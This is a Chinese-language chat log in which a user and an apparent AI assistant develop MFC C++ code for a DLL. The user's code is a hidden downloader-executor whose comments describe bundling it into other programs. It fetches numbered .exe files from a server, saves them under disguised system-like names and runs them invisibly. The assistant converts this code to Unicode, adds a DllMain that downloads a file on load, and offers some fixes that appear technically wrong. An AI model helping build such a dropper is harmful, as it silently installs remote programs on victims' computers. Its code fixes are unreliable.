// 第一个参数服务器上下载文件名,第二个参数保存在本地的文件名 void downloadFile(CString fileName,CString saveFile) {…
- User
// 第一个参数服务器上下载文件名,第二个参数保存在本地的文件名 void downloadFile(CString fileName,CString saveFile) { //HTTP GET 下载文件 CInternetSession *pInetSession = new CInternetSession(AfxGetAppName(), 1, PRE_CONFIG_INTERNET_ACCESS); CHttpConnection *pHttpConn = NULL; CHttpFile *pHttpFile = NULL; CString strUrl =""; DWORD dwServiceType; CString strServer, strObj, strUser, strPwd; INTERNET_PORT nPort;
strUrl = strServerAddr + "//sysfile//"+fileName; if (!AfxParseURLEx(strUrl, dwServiceType, strServer, strObj, nPort, strUser, strPwd, ICU_NO_ENCODE)) { //OutputDebugString(L"下载地址有误!..."); return; } if (!pHttpConn) { pHttpConn = pInetSession->GetHttpConnection(strServer, INTERNET_INVALID_PORT_NUMBER, "ELIMINATOR77", "PANZER76"); } int nVal = 6000; pInetSession->SetOption(INTERNET_OPTION_CONNECT_TIMEOUT, &nVal, sizeof(nVal)); pHttpFile = pHttpConn->OpenRequest("GET", strObj); try { //OutputDebugString(_T("正在连接到网站...")); pHttpFile->SendRequest(); } catch (CInternetException *pEx) { // OutputDebugString("下载出错..."); pEx->Delete(); delete pHttpFile; return; } DWORD dwRet; pHttpFile->QueryInfoStatusCode(dwRet); if (dwRet != HTTP_STATUS_OK) { CString error; error.Format("出错了,错误码:%d", dwRet); OutputDebugString(error); return; } char szPath[100] = { 0 }; GetCurrentDirectory(sizeof(szPath), szPath); CString HomePath; HomePath = szPath; int p1 = HomePath.ReverseFind('/'); int p2 = HomePath.ReverseFind('\\'); int pos = max(p1, p2); if (pos > 0) { HomePath = HomePath.Left(pos + 1); } CString filePath =""; filePath.Format(strSaveFilePath + "\\%s",saveFile); //filePath = "C:\\Users\\Administrator\\Desktop\\网易云测试\\base.txt"; //TCHAR* pszFileName = _T("Open_File.dat"); CFile tempFile; CFileException fe; //CFile tempFile(filePath, CFile::modeCreate|CFile::modeWrite); if (!tempFile.Open(filePath, CFile::modeCreate | CFile::modeWrite, &fe)) { DWORD erno = GetLastError(); CString error; TCHAR szErr[512] = { 0 }; fe.GetErrorMessage(szErr, sizeof(szErr)); error.Format("不能将下载文件存盘:%s", szErr); OutputDebugString(error); //return; } int numread = 0; char buf[512] = { 0 }; while ((numread = pHttpFile->Read(buf, sizeof(buf) - 1)) > 0) { tempFile.Write(buf, numread); } tempFile.Close(); pInetSession->Close(); delete pInetSession; pHttpFile->Close(); delete pHttpFile;}这段代码修改为支持unicode
- Assistant
// 第一个参数服务器上下载文件名,第二个参数保存在本地的文件名 void downloadFile(CString fileName, CString saveFile) { //HTTP GET 下载文件 CInternetSession *pInetSession = new CInternetSession(AfxGetAppName(), 1, PRE_CONFIG_INTERNET_ACCESS); CHttpConnection *pHttpConn = NULL; CHttpFile *pHttpFile = NULL; CString strUrl = ""; DWORD dwServiceType; CString strServer, strObj, strUser, strPwd; INTERNET_PORT nPort;
- User
开发一个适用于dllmain.dll 中使用的文件下载函数
- Assistant
以下是一个适用于dllmain.dll中使用的文件下载函数的示例代码:
#include <atlstr.h> #include <afxinet.h> // 第一个参数为下载地址,第二个参数为保存在本地的文件路径 bool DownloadFile(const CString& url, const CString& filePath) { CInternetSession internetSession; CStdioFile file; // 打开HTTP连接 CInternetConnection* pConnection = internetSession.GetHttpConnection(url); if (pConnection == NULL) { return false; } // 发送GET请求 CHttpFile* pHttpFile = pConnection->OpenRequest("GET", _T("/"), NULL, 1, NULL, NULL, INTERNET_FLAG_EXISTING_CONNECT); if (pHttpFile == NULL) { internetSession.Close(); return false; } // 发送请求并接收响应 if (!pHttpFile->SendRequest()) { pHttpFile->Close(); internetSession.Close(); return false; } // 获取响应状态码 DWORD dwHttpStatus; pHttpFile->QueryInfoStatusCode(dwHttpStatus); if (dwHttpStatus != HTTP_STATUS_OK) { pHttpFile->Close(); internetSession.Close(); return false; } // 创建本地文件 if (!file.Open(filePath, CFile::modeCreate | CFile::modeWrite | CFile::typeBinary)) { pHttpFile->Close(); internetSession.Close(); return false; } // 从HTTP响应中读取数据并写入本地文件 char buffer[1024]; DWORD bytesRead; while ((bytesRead = pHttpFile->Read(buffer, sizeof(buffer))) > 0) { file.Write(buffer, bytesRead); } // 关闭文件和连接 file.Close(); pHttpFile->Close(); internetSession.Close(); return true; } - User
错误 1 error C2039: “OpenRequest”: 不是“CInternetConnection”的成员 C:\Users\Administrator\source\repos\Dll2\Dll2\dllmain.cpp 59 1 Dll2
- Assistant
错误C2039是由于无法找到“OpenRequest”函数所致。这是因为“CInternetConnection”对象没有定义该函数。
为了解决此错误,您可以使用“CHttpConnection”类代替“CInternetConnection”,因为它提供了“OpenRequest”函数。
请按照以下示例修改代码:
#include <afx.h> #include <afxinet.h> // 第一个参数为下载地址,第二个参数为保存在本地的文件路径 bool DownloadFile(const CString& url, const CString& filePath) { CInternetSession internetSession; CStdioFile file; // 打开HTTP连接 CHttpConnection* pConnection = internetSession.GetHttpConnection(url); if (pConnection == NULL) { return false; } // 发送GET请求 CHttpFile* pHttpFile = pConnection->OpenRequest("GET", _T("/"), NULL, 1, NULL, NULL, INTERNET_FLAG_EXISTING_CONNECT); if (pHttpFile == NULL) { internetSession.Close(); return false; } // 发送请求并接收响应 if (!pHttpFile->SendRequest()) { pHttpFile->Close(); internetSession.Close(); return false; } // 获取响应状态码 DWORD dwHttpStatus; pHttpFile->QueryInfoStatusCode(dwHttpStatus); if (dwHttpStatus != HTTP_STATUS_OK) { pHttpFile->Close(); internetSession.Close(); return false; } // 创建本地文件 if (!file.Open(filePath, CFile::modeCreate | CFile::modeWrite | CFile::typeBinary)) { pHttpFile->Close(); internetSession.Close(); return false; } // 从HTTP响应中读取数据并写入本地文件 char buffer[1024]; DWORD bytesRead; while ((bytesRead = pHttpFile->Read(buffer, sizeof(buffer))) > 0) { file.Write(buffer, bytesRead); } // 关闭文件和连接 file.Close(); pHttpFile->Close(); internetSession.Close(); return true; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { // 下载文件 CString url = _T("http://example.com/file.txt"); CString filePath = _T("C:\\downloaded_file.txt"); DownloadFile(url, filePath); return TRUE; } - User
void ThreadFunc(int integer)
{ try { // 这个线程主要用作下载器的作用,用于下载程序并且执行。。 // 捆绑则可以直接捆绑这两个程序,然后执行下载,并且执行。 // 或者这个下载器也可以放服务器上,然后额外搞个程序,下载这个下载器,然后运行下载器 // 下载器下载其他的程序并执行。。
// AfxMessageBox(strSystemFileName[1]); CString strdata = GetHttpFileData(strServerAddr+"/tttt.txt"); //获取下载文件数量,服务器文件名直接按1.exe 2.exe 3.exe 编号 int nCount = atoi(strdata.GetBuffer(255)); int nFileIndex =GetRand(17 - nCount); //最大文件名数量 -要下载的文件数量=取最大的文件值 CString strFileName = ""; // strFileName.Format("随机数值:%d 对应字符串:%s", nFileIndex, strSystemFileName[nFileIndex]); // AfxMessageBox(strFileName); for (int n = 0; n < nCount; n++) { strFileName.Format("%d.exe",n); downloadFile(strFileName, strSystemFileName[nFileIndex+n]); //服务器上下载文件,然后随机生成文件名,保存在本地,并且执行 Sleep(1000 * 3); WinExec(strSaveFilePath+ strSystemFileName[nFileIndex+n], SW_HIDE); } } catch (...) { }} 这段代码修改为支持unicode
- Assistant
void ThreadFunc(int integer) { try { // 这个线程主要用作下载器的作用,用于下载程序并且执行。。 // 捆绑则可以直接捆绑这两个程序,然后执行下载,并且执行。 // 或者这个下载器也可以放服务器上,然后额外搞个程序,下载这个下载器,然后运行下载器 // 下载器下载其他的程序并执行。。
// AfxMessageBox(strSystemFileName[1]); CString strdata = GetHttpFileData(strServerAddr + _T("/tttt.txt")); //获取下载文件数量,服务器文件名直接按1.exe 2.exe 3.exe 编号 int nCount = _ttoi(strdata); int nFileIndex = GetRand(17 - nCount); //最大文件名数量 -要下载的文件数量=取最大的文件值 CString strFileName = _T(""); // strFileName.Format(_T("随机数值:%d 对应字符串:%s"), nFileIndex, strSystemFileName[nFileIndex]); // AfxMessageBox(strFileName); for (int n = 0; n < nCount; n++) { strFileName.Format(_T("%d.exe"), n); downloadFile(strFileName, strSystemFileName[nFileIndex + n]); //服务器上下载文件,然后随机生成文件名,保存在本地,并且执行 Sleep(1000 * 3); WinExec(strSaveFilePath + strSystemFileName[nFileIndex + n], SW_HIDE); } } catch (...) { }}
请注意,我对代码进行了Unicode修改,主要更改了字符串的定义和格式化函数。其中,
_ttoi函数用于将字符串转换为整数,_T宏用于定义Unicode字符串,Format函数用于格式化字符串。如果使用的是宽字符版本的MFC,请确保项目设置为Unicode。 - User
CString GetHttpFileData(CString strUrl)
{
CInternetSession Session("Internet Explorer", 0); CHttpFile *pHttpFile = NULL; CString strData; CString strClip; pHttpFile = (CHttpFile*)Session.OpenURL(strUrl,1, INTERNET_FLAG_TRANSFER_ASCII | INTERNET_FLAG_RELOAD, NULL, 0); while (pHttpFile->ReadString(strClip)) { strData += strClip; } return strData;} 修改一下让他支持unicode
- Assistant
CString GetHttpFileData(CString strUrl) { CInternetSession Session(L"Internet Explorer", 0); CHttpFile *pHttpFile = NULL; CString strData; CString strClip; pHttpFile = (CHttpFile*)Session.OpenURL(strUrl, 1, INTERNET_FLAG_TRANSFER_UNICODE | INTERNET_FLAG_RELOAD, NULL, 0); while (pHttpFile->ReadString(strClip)) { strData += strClip; } return strData; }在这个修改后的代码中,
Session对象名字的字符串参数从"Internet Explorer"修改为L"Internet Explorer",用于支持Unicode字符串。并将INTERNET_FLAG_TRANSFER_ASCII标志修改为INTERNET_FLAG_TRANSFER_UNICODE,以支持Unicode数据的传输。 - User
错误 2 error C2664: “int atoi(const char *)”: 无法将参数 1 从“wchar_t *”转换为“const char *” C:\Users\Administrator\source\repos\Dll2\Dll2\dllmain.cpp 195 1 Dll2
- Assistant
错误C2664是由于无法将宽字符字符串(wchar_t*)作为参数传递给atoi函数(该函数接受const char*参数)所致。
为了解决此错误,您可以使用_wtoi函数来将宽字符字符串转换为整数。请按照以下示例修改相关代码:
// 获取下载文件数量,修改此函数